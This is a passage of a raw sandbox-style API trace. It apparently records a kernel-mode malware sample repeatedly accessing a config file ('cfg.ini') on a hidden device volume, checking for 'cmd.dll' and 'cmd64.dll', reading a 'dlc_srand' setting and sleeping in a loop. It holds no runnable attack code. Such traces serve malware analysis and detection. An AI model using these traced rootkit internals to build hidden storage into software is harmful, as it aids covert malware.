_Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.824] KeEnterCriticalRegion () [0129.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] KeLeaveCriticalRegion () [0129.824] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.824] KeEnterCriticalRegion () [0129.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.824] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c078e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] KeLeaveCriticalRegion () [0129.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.824] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.824] KeEnterCriticalRegion () [0129.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] ExFreePoolWithTag (P=0xfffffa8003c07820, Tag=0x0) [0129.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.824] KeLeaveCriticalRegion () [0129.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.824] ReleaseMutex (hMutex=0xf0) returned 1 [0129.824] Sleep (dwMilliseconds=0x124f80) [0129.837] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.837] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.837] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.837] KeEnterCriticalRegion () [0129.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.839] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.839] IdePortDispatch () returned 0x103 [0129.840] KeWaitForMutexObject () returned 0x0 [0129.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.840] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.840] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.840] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.840] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.840] KeLeaveCriticalRegion () [0129.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.840] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.840] KeEnterCriticalRegion () [0129.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.840] KeLeaveCriticalRegion () [0129.840] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.840] KeEnterCriticalRegion () [0129.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.840] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.840] IdePortDispatch () returned 0x103 [0129.840] KeWaitForMutexObject () returned 0x0 [0129.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.840] KeLeaveCriticalRegion () [0129.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.841] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.841] KeEnterCriticalRegion () [0129.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdb000 [0129.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.841] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.841] IdePortDispatch () returned 0x103 [0129.841] KeWaitForMutexObject () returned 0x0 [0129.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.841] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.841] IdePortDispatch () returned 0x103 [0129.841] KeWaitForMutexObject () returned 0x0 [0129.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.841] KeLeaveCriticalRegion () [0129.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.842] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.842] KeEnterCriticalRegion () [0129.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] KeLeaveCriticalRegion () [0129.842] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.842] KeEnterCriticalRegion () [0129.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.842] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] KeLeaveCriticalRegion () [0129.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.842] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.842] KeEnterCriticalRegion () [0129.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.842] KeLeaveCriticalRegion () [0129.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.842] ReleaseMutex (hMutex=0xf0) returned 1 [0129.842] Sleep (dwMilliseconds=0x124f80) [0129.857] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.857] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.857] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.857] KeEnterCriticalRegion () [0129.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.858] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.858] IdePortDispatch () returned 0x103 [0129.858] KeWaitForMutexObject () returned 0x0 [0129.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.858] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.858] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.858] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.858] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.858] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c074c0 [0129.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.858] KeLeaveCriticalRegion () [0129.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.858] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.858] KeEnterCriticalRegion () [0129.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.858] KeLeaveCriticalRegion () [0129.858] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.858] KeEnterCriticalRegion () [0129.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.858] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.858] IdePortDispatch () returned 0x103 [0129.858] KeWaitForMutexObject () returned 0x0 [0129.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.859] KeLeaveCriticalRegion () [0129.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.859] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.859] KeEnterCriticalRegion () [0129.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce1000 [0129.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.859] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.859] IdePortDispatch () returned 0x103 [0129.859] KeWaitForMutexObject () returned 0x0 [0129.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.859] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.859] IdePortDispatch () returned 0x103 [0129.859] KeWaitForMutexObject () returned 0x0 [0129.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.859] KeLeaveCriticalRegion () [0129.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.860] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.860] KeEnterCriticalRegion () [0129.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] KeLeaveCriticalRegion () [0129.860] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.860] KeEnterCriticalRegion () [0129.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.860] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] KeLeaveCriticalRegion () [0129.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.860] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.860] KeEnterCriticalRegion () [0129.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] ExFreePoolWithTag (P=0xfffffa8003c074c0, Tag=0x0) [0129.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.860] KeLeaveCriticalRegion () [0129.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.860] ReleaseMutex (hMutex=0xf0) returned 1 [0129.860] Sleep (dwMilliseconds=0x124f80) [0129.874] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.874] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.874] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.874] KeEnterCriticalRegion () [0129.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.874] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.874] IdePortDispatch () returned 0x103 [0129.875] KeWaitForMutexObject () returned 0x0 [0129.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.875] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.875] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.875] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.875] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.875] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0129.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.875] KeLeaveCriticalRegion () [0129.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.875] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.875] KeEnterCriticalRegion () [0129.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.875] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.875] KeLeaveCriticalRegion () [0129.875] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.875] KeEnterCriticalRegion () [0129.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.875] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.875] IdePortDispatch () returned 0x103 [0129.875] KeWaitForMutexObject () returned 0x0 [0129.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.875] KeLeaveCriticalRegion () [0129.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.876] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.876] KeEnterCriticalRegion () [0129.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce6000 [0129.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.876] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.876] IdePortDispatch () returned 0x103 [0129.876] KeWaitForMutexObject () returned 0x0 [0129.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.876] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.876] IdePortDispatch () returned 0x103 [0129.876] KeWaitForMutexObject () returned 0x0 [0129.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.876] KeLeaveCriticalRegion () [0129.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.877] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.877] KeEnterCriticalRegion () [0129.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] KeLeaveCriticalRegion () [0129.877] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.877] KeEnterCriticalRegion () [0129.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.877] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c070f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] KeLeaveCriticalRegion () [0129.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.877] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.877] KeEnterCriticalRegion () [0129.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] ExFreePoolWithTag (P=0xfffffa8003c08fb0, Tag=0x0) [0129.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.877] KeLeaveCriticalRegion () [0129.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.877] ReleaseMutex (hMutex=0xf0) returned 1 [0129.877] Sleep (dwMilliseconds=0x124f80) [0129.891] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.891] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.891] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.891] KeEnterCriticalRegion () [0129.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 